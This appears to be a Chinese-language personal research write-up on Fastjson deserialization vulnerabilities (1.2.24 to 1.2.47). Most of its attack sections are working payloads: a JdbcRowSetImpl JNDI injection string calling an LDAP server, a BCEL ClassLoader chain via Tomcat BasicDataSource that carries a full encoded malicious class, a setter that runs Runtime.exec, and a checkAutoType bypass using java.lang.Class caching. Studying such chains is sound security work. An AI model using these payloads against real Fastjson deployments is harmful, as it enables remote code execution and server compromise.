流程分析
Fastjson的核心目的将json格式数据转换为对象。
1.1 基础使用
将json数据转换为jsonObject,可以更加方便的获取
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
String a = "{\"age\":123456,\"name\":\"test\"}";
JSONObject parse = JSON.parseObject(a);
System.out.println(parse.getString("age"));
System.out.println(parse.getString("name"));
}
}
将json转换为指定对象
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
String a = "{\"age\":123456,\"name\":\"test\"}";
Student student = JSON.parseObject(a, Student.class);
System.out.println(student.getAge());
}
}
支持@type在json数据中指定反序列化的类名称,调用不同的类代码
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
Student student = new Student();
student.setName("test");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
String a = "{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}";
JSONObject jsonObject = JSON.parseObject(a);
System.out.println(jsonObject);
}
}
1.2 流程
getDeserializer
根据各种条件选择合适的反序列化器,1.2.24也有一个黑名单,是禁止线程相关类
根据class的类型,来设置asm是否为false,比如必须是public
JavaBeanInfo.build获取beanInfo 根据beanInfo来配置asmEnable
最后根据asmEnable的值来确定使用那个反序列器
由于FastjsonASM无法调试,还是得想办法设置asmEnable为false
https://blog.csdn.net/qq_45854465/article/details/120960671
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
Student student = new Student();
student.setName("test");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
boolean flag;
flag = false;
ParserConfig config = ParserConfig.getGlobalInstance();
config.setAsmEnable(flag);
String a = "{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}";
JSONObject jsonObject = JSON.parseObject(a);
System.out.println(jsonObject);
}
}
deserializer.deserialze
根据遍历的fieldValue
get方法调用位置,反序列对象后又json
测试
public void setName(String name) throws IOException {
System.out.println("setName");
Runtime.getRuntime().exec(name);
this.name = name;
}
2.JdbcRowSetImpl 的利用链(fastjson1.2.24)
jdbcRowSetImpl是比较常用的链,利用点是一个jndi注入
先看下变量是否可控,发现下面就是set方法
然后就看怎么才能调用这个connect()方法,findUsages一下
有限看set方法因为set方法在get前调用,上面分析过
这个方法也很简单,也满足上面分析javabeaninfo的要求,直接调用即可。
set开头的方法要求如下:
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个
寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对
有没有这个名称的属性。
如果没有这个属性并且这个set方法的输入是一个布尔型,会重新给属性名前面加上is,再取头两个字
符,第一个字符为大写(即isNa),去寻找这个属性名。
get开头的方法要求如下:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
综合需要调用两个set方法setAutoCommit和setDataSourceName
String a = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/mctYqCBt\",\"autoCommit\":false}";
JSONObject jsonObject = JSON.parseObject(a);
缺点:1.因为用的JNDI注入,受JDK版本限制 2.要能出网,不然无法加载远程类
3.com.sun.org.apache.bcel.internal.util利用链(fastjson1.2.24 不出网)
使用的依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
触发位置
先测试一下
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.*;
public class BcelSerialize {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));
String encode = Utility.encode(bytes, true);
classLoader.loadClass("$$BCEL$$"+encode).newInstance();
}
//将文件转为字节码数组
/**
* 把一个文件转化为byte字节数组。
*
* @return
*/
public static byte[] fileConvertToByteArray(File file) {
byte[] data = null;
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = fis.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
data = baos.toByteArray();
fis.close();
baos.close();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
}
encode原因存在decode操作
下一步找的如何调用loadClass,大佬们找的这个类。
这个类里面调用class.forName,如果driverClassName driverClassLoade可控,传入com.sun.org.apache.bcel.internal.util就能调用其loadClass()方法。这里是加载器的知识可以查一下相关知识。
发现均有set方法
就是找哪里调用了createConnectionFactory()
找的get方法调用createDataSource(),此get方法满足Fastjson在jsonobject时调用get方法的规则。
直接构造即可
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.*;
import java.sql.SQLException;
public class BcelSerialize {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));
String encode = Utility.encode(bytes, true);
// classLoader.loadClass("$$BCEL$$"+encode).newInstance();
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassName("$$BCEL$$"+encode);
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.getConnection();
}
//将文件转为字节码数组
/**
* 把一个文件转化为byte字节数组。
*
* @return
*/
public static byte[] fileConvertToByteArray(File file) {
byte[] data = null;
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = fis.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
data = baos.toByteArray();
fis.close();
baos.close();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
}
测试一下fastjson反序列化
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.*;
import java.sql.SQLException;
public class BcelSerialize {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
// ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));
String encode = Utility.encode(bytes, true);
// classLoader.loadClass("$$BCEL$$"+encode).newInstance();
// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassName("$$BCEL$$" + encode);
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.getConnection();
String DriverClassName = "$$BCEL$$" + encode;
String a = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"" + DriverClassName + "\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
System.out.println(a);
JSONObject jsonObject = JSON.parseObject(a);
}
//将文件转为字节码数组
/**
* 把一个文件转化为byte字节数组。
*
* @return
*/
public static byte[] fileConvertToByteArray(File file) {
byte[] data = null;
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = fis.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
data = baos.toByteArray();
fis.close();
baos.close();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
}
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}
4.fastjson<1.2.47绕过
使用fastjson 1.2.25测试之前payload,发现有个autoType错误
调试对比发现多了config.checkAutoType
看下checkAutoType的流程
大佬们的绕过思路是缓存直接返回
看下怎么给恶意类先加载到map里,查找map.set,发现loadClass中有,也就是加载后会写到map里!
继续查找loadClass的调用位置
发现MiscCodec是一个反序列化器,查看fastjson,其实初始化时使用的到这个反序列器的
所以可以用此方法将恶意类加载到map里,绕过checkAuto限制
看下加载条件,值为var
构造
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class StudentSerialize {
public static void main(String[] args) {
String a = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/kurnxDiX\",\"autoCommit\":false}}";
JSONObject jsonObject = JSON.parseObject(a);
}
}
同理构造bcel,本地没成功,搭建了tomcat环境才成功的
{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A"
}
} : "xxx"
}
}
本地没成功奇怪,调试了一下发现加载了 com.sun.org.apache.bcel.internal.util.ClassLoader但是在构造javabean的时候,class有值了,会走黑白名单。
不过起tomcat环境成功了,不理解,以后再说吧